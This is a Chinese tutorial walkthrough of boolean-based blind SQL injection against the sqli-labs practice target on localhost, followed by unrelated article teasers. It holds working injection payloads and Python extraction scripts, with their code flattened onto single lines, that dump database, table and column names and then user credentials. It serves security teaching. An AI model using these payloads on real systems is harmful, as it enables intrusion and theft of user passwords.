SQL布尔盲注
目录
1 布尔盲注
2布尔盲注流程
2.1输入id进行测试
2.2判断注入类型
2.3爆数据库名
2.4爆表名
2.5爆字段名
2.6查询数据
1 布尔盲注
布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,如果正确执行了构造的SQL语句,则返回一种页面,如果错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。
2布尔盲注流程
2.1输入id进行测试
输入?id=1,发现页面回显You are in..........

输入?id=1',发现页面无显示

此时,联想到正确错误两个页面,采用布尔盲注
2.2判断注入类型
1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据结果可判断为字符型注入
2.3爆数据库名
如何获取数据库呢?可以通过截取字符串的方式进行获取。substr(string, start, length) 截取字符串,这个函数的意思简单来说,截取一个字符串从'start'位,可以是第1位,第2位。。。。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。
?id=1' and ascii(substr(database(),1,1))=97--+
如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面

页面无显示说明数据库名的第一个字符的ascii码值不等于97
我们可以编写一个简单的python脚本就可以爆破出数据库名
import timeimport requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def inject_database(url):name = ''for i in range(1, 20):for j in range(32, 129):payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)

根据运行结果得出数据库名为'security'
2.4爆表名
使用count() 函数进行获取表的数量
1' and (select count(table_name) from information_schema.tables where table_schema='security')=2--+

1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

可以看出security下有四张表,然后进行爆表名
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101--+
mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。
在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .
这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index

然后编写一个简单的python脚本就可以爆破出所有的表名
import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)params = {'id': payload} # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32: # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)
上述代码采用二分法提高效率
根据运行结果得出表名为emails,referers,uagents,users

2.5爆字段名
根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。
同样使用python脚本来爆破出字段名,只需将刚才的python脚本中的payload变换一下
import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)params = {'id': payload} # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32: # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)
根据运行结果得出字段名为id,username,password

2.6查询数据
import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 200):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)params = {'id': payload} # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32: # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

这样我们就爆出各个用户的账号密码了,本次手布尔盲注到此结束,如果不会写python脚本也可以使用BurpSuite工具来破解数据,感兴趣的同学可以自行搜索相关资料学习。
相关文章:
SQL布尔盲注
目录 1 布尔盲注 2布尔盲注流程 2.1输入id进行测试 2.2判断注入类型 2.3爆数据库名 2.4爆表名 2.5爆字段名 2.6查询数据 1 布尔盲注 布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,如果正确执行了构造的…...
OpenGL实现3D游戏编程【连载3】——3D空间模型光照初步
1、本节实现的内容 上一节课,我们建立了简单的坐标系,同时也显示了一个正方体,但正方体的颜色为纯红色,好像一个平面物体一样,我们这节课就可以加一些光照,并创建更多的模型,使这些物体变得更加…...
Python 进行反射和元编程
反射和元编程是Python中两种强大且高级的编程技术。反射允许程序在运行时检查和修改自身结构和行为,而元编程则是编写可以操作其他代码的代码,通常通过使用元类、装饰器等技术来实现。 1. 反射 反射是指程序在运行时检查和操作自身结构的能力。Python通…...
Please refer to dump files (if any exist) [date].dump, [date]-jvmRun[N]……解决
一、问题 Please refer to dump files (if any exist) [date].dump, [date]-jvmRun[N].dump and [date].dumpstream.二、解决方案 1、当打包构建的时候出现这个问题,如果你只是打包部署,那么就是将maven的test禁止可以成功打包 2、当你是本地服务器启动…...
如何看待“低代码”开发平台的兴起
目录 如何看待“低代码”开发平台的兴起?新机遇:效率与质量并进的新篇章1. 提升开发效率:2. 降低技术门槛:3. 创新加速: 挑战:质量和定制化需求的考量1. 定制能力受限:2. 依赖性和迁移成本 &…...
React类组件与函数组件有什么异同
相同点: 组件是react的最小代码片段,无论函数组件还是类组件 在使用方式 和 最终呈现效果是一致的类组件可以用函数组件重构,同样函数组件也可以用类组件重构(并不推荐),在现代浏览器中闭包 和 类的性能只…...
函数调用的过程理解_汇编角度
目录 1、调用函数流程(main函数调用print函数):Step1 保存main函数现场地址等信息Step2 跳转到print函数的位置Step3 执行print函数的指令Step4 返回main函数,执行下一条指令流程连续性总结 2、其他知识总结 1、调用函数流程&…...
【Java-一些常见单列集合面试问题】
目录 1.List,Set的区别? 2.ArrayList与Vector区别? 3.Arraylist与LinkedList区别? 4.ArrayList的扩容机制? 5.HashSet、LinkedHashSet和TreeSet 区别? 6.HashSet如何过滤重复元素? 1.List,Set的区别…...
搭建个人博客需要做哪些事
文章目录 前言搭建步骤站点服务器站点域名注册域名ICP 备案公安备案域名解析 博客图床图床是什么图床搭建 博客站点搭建建站工具本地搭建博客部署 站点运营百度收录百度统计 总结 前言 花了几天时间,搭建了一个个人博客,也算是完成了年初立的一个flag&a…...
《向量数据库指南》——非结构化数据的行业需求及向量数据库的关键角色
非结构化数据的行业需求及向量数据库的关键角色 引言 在当今数字化时代,数据已成为驱动社会进步与产业升级的核心要素。随着技术的飞速发展,特别是人工智能(AI)技术的广泛应用,数据的类型与规模正以前所未有的速度增长。其中,非结构化数据作为数据海洋中的主体部分,其…...
C++:map容器的使用
一、map的使用介绍 map文档介绍 1.1 map的模版参数 Key:键值对中Key的类型 T:键值对中value的类型 Compare:比较器的类型,map中的元素是按照Key来进行比较的,缺省情况(不传参数时)按照小于来…...
C++初学(10)
10.1、共用体 共用体是一种数据格式,它能够存储不同的数据类型,但只能同时存储其中的一种类型。比如说:结构可以同时存储int、long、和double,而共用体只能存储int、long、或double。共用体的句式与结构相似,但含义不…...
在MAC安装Lazarus 起点 - 我们的第一个Lazarus程序!
安装Lazarus 首先到Lazarus官网,找到合适的版本下载页面,比如Mac的版本: https://sourceforge.net/projects/lazarus/files/Lazarus%20macOS%20x86-64/Lazarus%203.4/ 将三个文件都下载到本地,需要安装这三个文件: …...
【每日刷题】Day96
【每日刷题】Day96 🥕个人主页:开敲🍉 🔥所属专栏:每日刷题🍍 🌼文章目录🌼 1. LCP 44. 开幕式焰火 - 力扣(LeetCode) 2. 1022. 从根到叶的二进制数之和 - …...
EGO-Swarm 仿真环境搭建
EGO-Swarm仿真环境搭建 参考教程: https://github.com/ZJU-FAST-Lab/ego-planner-swarm EGO-Swarm是一种分散的异步系统解决方案,用于仅使用机载资源在未知的障碍物丰富的场景中进行多机器人自主导航。 1. 查看系统环境 要运行本仿真程序,…...
【EI会议征稿通知】第九届计算机技术与机械电气工程国际学术论坛(ISCME 2024)
会议官网:www.is-cme.com 一轮截稿时间:2024年8月16日(早投稿,早录用) 大会时间:2024年11月8-10日 大会地点:中国 南京 接受/拒稿通知:投稿后1-2周 收录检索:EI Compend…...
【starRocks-docker 部署问题汇总】
Starrocks系列文章目录 例如:starrocks 常见问题汇总 文章目录 Starrocks系列文章目录前言一、Starrocks-be运行一段时间后,容器无法restart?二、等待后续跟新 前言 starrocks基于docker-compose部署的3节点分布式(3FE,3BE),遇到的问题也都…...
threejs中,如何检测一个模型周边一定范围内的其它模型
在Three.js中,要检测一个模型(我们可以称之为“主体模型”)周边一定范围内的其他物体,你可以通过以下步骤来实现: 1、定义检测范围: 首先,确定你需要检测的范围,这通常是一个以主体…...
UDP端口可达性检测(端口扫描)工具开发
UDP端口可达性检测(端口扫描)工具开发 1、应用场景分析 主机X与主机Y部署在AB双网环境下,两个主机间通过UDP协议进行数据交互。应用程序发送数据时,优先使用A网发送数据,如果A网异常则通过B网发送数据。两个主机应用间没有设置心跳帧 &…...
第三届计算、通信、感知与量子技术国际会议(CCPQT 2024)会议通知
会议信息 大会官网:http://www.ccpqt.org/ 官方邮箱:ccpqt_paper126.com 会议地点:中国珠海 会议时间:2024年10月25日-10月27日 主讲嘉宾 Prof. Trung Q. Duong IEEE Fellow and AAIA Fellow Memorial University of Newfoundl…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
C++_核心编程_多态案例二-制作饮品
#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为:煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例,提供抽象制作饮品基类,提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...
调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...
Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
抖音增长新引擎:品融电商,一站式全案代运营领跑者
抖音增长新引擎:品融电商,一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中,品牌如何破浪前行?自建团队成本高、效果难控;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...
渲染学进阶内容——模型
最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...
站群服务器的应用场景都有哪些?
站群服务器主要是为了多个网站的托管和管理所设计的,可以通过集中管理和高效资源的分配,来支持多个独立的网站同时运行,让每一个网站都可以分配到独立的IP地址,避免出现IP关联的风险,用户还可以通过控制面板进行管理功…...
LRU 缓存机制详解与实现(Java版) + 力扣解决
📌 LRU 缓存机制详解与实现(Java版) 一、📖 问题背景 在日常开发中,我们经常会使用 缓存(Cache) 来提升性能。但由于内存有限,缓存不可能无限增长,于是需要策略决定&am…...
